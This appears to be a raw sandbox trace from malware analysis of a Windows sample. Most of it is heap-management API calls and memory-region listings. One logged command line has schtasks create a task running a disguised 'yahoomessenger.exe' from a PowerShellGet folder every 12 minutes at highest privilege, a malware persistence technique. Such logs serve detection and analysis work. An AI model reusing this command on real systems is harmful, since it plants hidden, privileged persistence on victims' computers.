GetProcessHeap () returned 0x240000 [0067.349] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x257c70) returned 1 [0067.349] GetProcessHeap () returned 0x240000 [0067.349] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x257c70) returned 0x30 [0067.350] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x257c70 | out: hHeap=0x240000) returned 1 [0067.350] GetProcessHeap () returned 0x240000 [0067.350] GetProcessHeap () returned 0x240000 [0067.350] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25cdc0) returned 1 [0067.350] GetProcessHeap () returned 0x240000 [0067.350] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25cdc0) returned 0x20 [0067.350] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25cdc0 | out: hHeap=0x240000) returned 1 [0067.350] GetProcessHeap () returned 0x240000 [0067.350] GetProcessHeap () returned 0x240000 [0067.350] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x257cb0) returned 1 [0067.350] GetProcessHeap () returned 0x240000 [0067.350] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x257cb0) returned 0x30 [0067.350] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x257cb0 | out: hHeap=0x240000) returned 1 [0067.350] GetProcessHeap () returned 0x240000 [0067.350] GetProcessHeap () returned 0x240000 [0067.351] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25cf70) returned 1 [0067.351] GetProcessHeap () returned 0x240000 [0067.351] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25cf70) returned 0x20 [0067.351] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25cf70 | out: hHeap=0x240000) returned 1 [0067.351] GetProcessHeap () returned 0x240000 [0067.351] GetProcessHeap () returned 0x240000 [0067.351] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25d740) returned 1 [0067.351] GetProcessHeap () returned 0x240000 [0067.351] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25d740) returned 0x16 [0067.351] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25d740 | out: hHeap=0x240000) returned 1 [0067.351] GetProcessHeap () returned 0x240000 [0067.351] GetProcessHeap () returned 0x240000 [0067.351] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25cf40) returned 1 [0067.351] GetProcessHeap () returned 0x240000 [0067.351] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25cf40) returned 0x20 [0067.351] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25cf40 | out: hHeap=0x240000) returned 1 [0067.351] GetProcessHeap () returned 0x240000 [0067.351] GetProcessHeap () returned 0x240000 [0067.351] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25d760) returned 1 [0067.352] GetProcessHeap () returned 0x240000 [0067.352] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25d760) returned 0x16 [0067.352] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25d760 | out: hHeap=0x240000) returned 1 [0067.352] GetProcessHeap () returned 0x240000 [0067.352] GetProcessHeap () returned 0x240000 [0067.352] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25cf10) returned 1 [0067.352] GetProcessHeap () returned 0x240000 [0067.352] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25cf10) returned 0x20 [0067.352] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25cf10 | out: hHeap=0x240000) returned 1 [0067.352] GetProcessHeap () returned 0x240000 [0067.352] GetProcessHeap () returned 0x240000 [0067.352] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x279ec0) returned 1 [0067.352] GetProcessHeap () returned 0x240000 [0067.352] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x279ec0) returned 0x82 [0067.353] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x279ec0 | out: hHeap=0x240000) returned 1 [0067.353] GetProcessHeap () returned 0x240000 [0067.353] GetProcessHeap () returned 0x240000 [0067.353] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25cee0) returned 1 [0067.353] GetProcessHeap () returned 0x240000 [0067.353] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25cee0) returned 0x20 [0067.353] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25cee0 | out: hHeap=0x240000) returned 1 [0067.353] GetProcessHeap () returned 0x240000 [0067.353] GetProcessHeap () returned 0x240000 [0067.353] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25d7a0) returned 1 [0067.353] GetProcessHeap () returned 0x240000 [0067.353] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25d7a0) returned 0xe [0067.353] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25d7a0 | out: hHeap=0x240000) returned 1 [0067.353] GetProcessHeap () returned 0x240000 [0067.353] GetProcessHeap () returned 0x240000 [0067.353] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25ceb0) returned 1 [0067.353] GetProcessHeap () returned 0x240000 [0067.353] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25ceb0) returned 0x20 [0067.354] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ceb0 | out: hHeap=0x240000) returned 1 [0067.354] GetProcessHeap () returned 0x240000 [0067.354] GetProcessHeap () returned 0x240000 [0067.354] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25d7c0) returned 1 [0067.354] GetProcessHeap () returned 0x240000 [0067.354] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25d7c0) returned 0xc [0067.354] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25d7c0 | out: hHeap=0x240000) returned 1 [0067.354] GetProcessHeap () returned 0x240000 [0067.354] GetProcessHeap () returned 0x240000 [0067.354] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25ce80) returned 1 [0067.354] GetProcessHeap () returned 0x240000 [0067.354] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25ce80) returned 0x20 [0067.355] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ce80 | out: hHeap=0x240000) returned 1 [0067.355] GetProcessHeap () returned 0x240000 [0067.355] GetProcessHeap () returned 0x240000 [0067.355] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25d7e0) returned 1 [0067.355] GetProcessHeap () returned 0x240000 [0067.355] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25d7e0) returned 0xe [0067.355] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25d7e0 | out: hHeap=0x240000) returned 1 [0067.355] GetProcessHeap () returned 0x240000 [0067.355] GetProcessHeap () returned 0x240000 [0067.355] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25ce50) returned 1 [0067.355] GetProcessHeap () returned 0x240000 [0067.355] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25ce50) returned 0x20 [0067.355] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ce50 | out: hHeap=0x240000) returned 1 [0067.355] GetProcessHeap () returned 0x240000 [0067.355] GetProcessHeap () returned 0x240000 [0067.355] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25d800) returned 1 [0067.355] GetProcessHeap () returned 0x240000 [0067.355] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25d800) returned 0x10 [0067.355] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25d800 | out: hHeap=0x240000) returned 1 [0067.355] GetProcessHeap () returned 0x240000 [0067.355] GetProcessHeap () returned 0x240000 [0067.355] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25ce20) returned 1 [0067.355] GetProcessHeap () returned 0x240000 [0067.356] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25ce20) returned 0x20 [0067.356] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ce20 | out: hHeap=0x240000) returned 1 [0067.356] GetProcessHeap () returned 0x240000 [0067.356] GetProcessHeap () returned 0x240000 [0067.356] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25bbf0) returned 1 [0067.356] GetProcessHeap () returned 0x240000 [0067.356] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25bbf0) returned 0x18 [0067.356] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25bbf0 | out: hHeap=0x240000) returned 1 [0067.356] GetProcessHeap () returned 0x240000 [0067.356] GetProcessHeap () returned 0x240000 [0067.356] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x255ba0) returned 1 [0067.356] GetProcessHeap () returned 0x240000 [0067.356] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x255ba0) returned 0x20 [0067.357] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255ba0 | out: hHeap=0x240000) returned 1 [0067.357] GetProcessHeap () returned 0x240000 [0067.357] GetProcessHeap () returned 0x240000 [0067.357] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x255bd0) returned 1 [0067.357] GetProcessHeap () returned 0x240000 [0067.357] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x255bd0) returned 0x20 [0067.357] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255bd0 | out: hHeap=0x240000) returned 1 [0067.357] GetProcessHeap () returned 0x240000 [0067.357] GetProcessHeap () returned 0x240000 [0067.357] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x255c00) returned 1 [0067.357] GetProcessHeap () returned 0x240000 [0067.357] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x255c00) returned 0x20 [0067.358] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255c00 | out: hHeap=0x240000) returned 1 [0067.358] GetProcessHeap () returned 0x240000 [0067.358] GetProcessHeap () returned 0x240000 [0067.358] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x255c30) returned 1 [0067.358] GetProcessHeap () returned 0x240000 [0067.358] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x255c30) returned 0x20 [0067.358] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255c30 | out: hHeap=0x240000) returned 1 [0067.358] GetProcessHeap () returned 0x240000 [0067.358] GetProcessHeap () returned 0x240000 [0067.358] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25bc10) returned 1 [0067.358] GetProcessHeap () returned 0x240000 [0067.358] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25bc10) returned 0x18 [0067.358] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25bc10 | out: hHeap=0x240000) returned 1 [0067.358] GetProcessHeap () returned 0x240000 [0067.358] GetProcessHeap () returned 0x240000 [0067.358] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x255c60) returned 1 [0067.358] GetProcessHeap () returned 0x240000 [0067.358] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x255c60) returned 0x20 [0067.359] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255c60 | out: hHeap=0x240000) returned 1 [0067.359] GetProcessHeap () returned 0x240000 [0067.359] GetProcessHeap () returned 0x240000 [0067.359] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x255cf0) returned 1 [0067.359] GetProcessHeap () returned 0x240000 [0067.359] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x255cf0) returned 0x20 [0067.359] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255cf0 | out: hHeap=0x240000) returned 1 [0067.359] GetProcessHeap () returned 0x240000 [0067.359] GetProcessHeap () returned 0x240000 [0067.359] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x255d50) returned 1 [0067.359] GetProcessHeap () returned 0x240000 [0067.360] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x255d50) returned 0x20 [0067.360] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255d50 | out: hHeap=0x240000) returned 1 [0067.360] GetProcessHeap () returned 0x240000 [0067.360] GetProcessHeap () returned 0x240000 [0067.360] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x255db0) returned 1 [0067.360] GetProcessHeap () returned 0x240000 [0067.360] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x255db0) returned 0x20 [0067.360] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255db0 | out: hHeap=0x240000) returned 1 [0067.360] GetProcessHeap () returned 0x240000 [0067.360] GetProcessHeap () returned 0x240000 [0067.360] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x255de0) returned 1 [0067.361] GetProcessHeap () returned 0x240000 [0067.361] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x255de0) returned 0x20 [0067.361] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255de0 | out: hHeap=0x240000) returned 1 [0067.361] GetProcessHeap () returned 0x240000 [0067.361] GetProcessHeap () returned 0x240000 [0067.361] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25bc30) returned 1 [0067.361] GetProcessHeap () returned 0x240000 [0067.361] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25bc30) returned 0x18 [0067.361] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25bc30 | out: hHeap=0x240000) returned 1 [0067.361] GetProcessHeap () returned 0x240000 [0067.361] GetProcessHeap () returned 0x240000 [0067.361] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x255d20) returned 1 [0067.361] GetProcessHeap () returned 0x240000 [0067.361] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x255d20) returned 0x20 [0067.362] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255d20 | out: hHeap=0x240000) returned 1 [0067.362] GetProcessHeap () returned 0x240000 [0067.362] GetProcessHeap () returned 0x240000 [0067.362] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25bbb0) returned 1 [0067.362] GetProcessHeap () returned 0x240000 [0067.362] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25bbb0) returned 0x18 [0067.362] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25bbb0 | out: hHeap=0x240000) returned 1 [0067.362] exit (_Code=0) Thread: id = 123 os_tid = 0xf68 Process: id = "22" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x3be33000" os_pid = "0xf6c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xa54" cmd_line = "schtasks.exe /create /tn \"yahoomessengery\" /sc MINUTE /mo 12 /tr \"'C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\en-US\\yahoomessenger.exe'\" /rl HIGHEST /f" cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f1fb" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2489 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2490 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 2491 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 2492 start_va = 0xa0000 end_va = 0x11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000a0000" filename = "" Region: id = 2493 start_va = 0x77be0000 end_va = 0x77d88fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2494 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 2495 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2496 start_va = 0xffd70000 end_va = 0xffdb7fff monitored = 1 entry_point = 0xffd9966c region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 2497 start_va = 0x7fefff00000 end_va = 0x7fefff00fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2498 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 2499 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 2500 start_va = 0x7fffffde000 end_va = 0x7fffffdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 2501 start_va = 0x120000 end_va = 0x26ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 2502 start_va = 0x779c0000 end_va = 0x77adefff monitored = 0 entry_point = 0x779d5340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2503 start_va = 0x7fefddf0000 end_va = 0x7fefde5bfff monitored = 0 entry_point = 0x7fefddf2780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 2504 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2505 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2506 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2507 start_va = 0x270000 end_va = 0x2d6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2508 start_va = 0x7feffd90000 end_va = 0x7feffe2efff monitored = 0 entry_point = 0x7feffd925a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 2509 start_va = 0x77ae0000 end_va = 0x77bd9fff monitored = 0 entry_point = 0x77afa2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 2510 start_va = 0x7feff680000 end_va = 0x7feff6e6fff monitored = 0 entry_point = 0x7feff68b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 2511 start_va = 0x7feff6f0000 end_va = 0x7feff6fdfff monitored = 0 entry_point = 0x7feff6f1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 2512 start_va = 0x7feff4d0000 end_va = 0x7feff598fff monitored = 0 entry_point = 0x7feff54a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 2513 start_va = 0x7feff810000 end_va = 0x7feffa12fff monitored = 0 entry_point = 0x7feff833330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 2514 start_va = 0x7fefdf20000 end_va = 0x7fefe04cfff monitored = 0 entry_point = 0x7fefdf6ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 2515 start_va = 0x7feff5a0000 end_va = 0x7feff676fff monitored = 0 entry_point = 0x7feff5a3274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 2516 start_va = 0x7feffa20000 end_va = 0x7feffa90fff monitored = 0 entry_point = 0x7feffa31e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 2517 start_va = 0x7fefb0b0000 end_va = 0x7fefb0b9fff monitored = 0 entry_point = 0x7fefb0b260c region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 2518 start_va = 0x2e0000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002e0000" filename = "" Region: id = 2519 start_va = 0x2e0000 end_va = 0x3dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002e0000" filename = "" Region: id = 2520 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 2521 start_va = 0x460000 end_va = 0x5e7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 2522 start_va = 0x50000 end_va = 0x78fff monitored = 0 entry_point = 0x51010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2523 start_va = 0x50000 end_va = 0x78fff monitored = 0 entry_point = 0x51010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2524 start_va = 0x7feffaa0000 end_va = 0x7feffacdfff monitored = 0 entry_point = 0x7feffaa1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2525 start_va = 0x7feff700000 end_va = 0x7feff808fff monitored = 0 entry_point = 0x7feff701064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 2526 start_va = 0x5f0000 end_va = 0x770fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005f0000" filename = "" Region: id = 2527 start_va = 0x780000 end_va = 0x1b7ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000780000" filename = "" Region: id = 2528 start_va = 0x50000 end_va = 0x61fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 2529 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 2530 start_va = 0x70000 end_va = 0x70fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000070000" filename = "" Region: id = 2531 start_va = 0x7fefccf0000 end_va = 0x7fefccfbfff monitored = 0 entry_point = 0x7fefccf1064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 2532 start_va = 0x1b80000 end_va = 0x1e4efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2533 start_va = 0x1e50000 end_va = 0x1eccfff monitored = 0 entry_point = 0x1e5cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 2534 start_va = 0x1e50000 end_va = 0x1eccfff monitored = 0 entry_point = 0x1e5cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 2535 start_va = 0x7fefda20000 end_va = 0x7fefda2efff monitored = 0 entry_point = 0x7fefda21010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 2536 start_va = 0x7fefc480000 end_va = 0x7fefc4d5fff monitored = 0 entry_point = 0x7fefc48bbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 2537 start_va = 0x1e50000 end_va = 0x1f3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 2538 start_va = 0x1f40000 end_va = 0x201efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001f40000" filename = "" Region: id = 2539 start_va = 0x7fefdf00000 end_va = 0x7fefdf1efff monitored = 0 entry_point = 0x7fefdf060e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 2540 start_va = 0x21f0000 end_va = 0x226ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021f0000" filename = "" Region: id = 2541 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 2542 start_va = 0x7feffcb0000 end_va = 0x7feffd8afff monitored = 0 entry_point = 0x7feffcd0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 2543 start_va = 0x80000 end_va = 0x80fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000080000" filename = "" Region: id = 2544 start_va = 0x7fefe3c0000 end_va = 0x7fefe458fff monitored = 0 entry_point = 0x7fefe3c1c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 2545 start_va = 0x90000 end_va = 0x90fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 2546 start_va = 0x7fefb890000 end_va = 0x7fefb9b6fff monitored = 0 entry_point = 0x7fefb8910ec region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 2547 start_va = 0x7fefd9f0000 end_va = 0x7fefda14fff monitored = 0 entry_point = 0x7fefd9f9658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 2548 start_va = 0x7fefc010000 end_va = 0x7fefc044fff monitored = 0 entry_point = 0x7fefc011064 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 124 os_tid = 0xf70 [0066.910] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x11fd60 | out: lpSystemTimeAsFileTime=0x11fd60*(dwLowDateTime=0x50f5e740, dwHighDateTime=0x1d9eb0c)) [0066.910] GetCurrentProcessId () returned 0xf6c [0066.910] GetCurrentThreadId () returned 0xf70 [0066.910] GetTickCount () returned 0x1766474 [0066.910] RtlQueryPerformanceCounter (in: lpPerformanceCount=0x11fd68 | out: lpPerformanceCount=0x11fd68*=2487339367587) returned 1 [0066.911] GetModuleHandleW (lpModuleName=0x0) returned 0xffd70000 [0066.911] __set_app_type (_Type=0x1) [0066.911] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xffd9972c) returned 0x0 [0066.911] __wgetmainargs 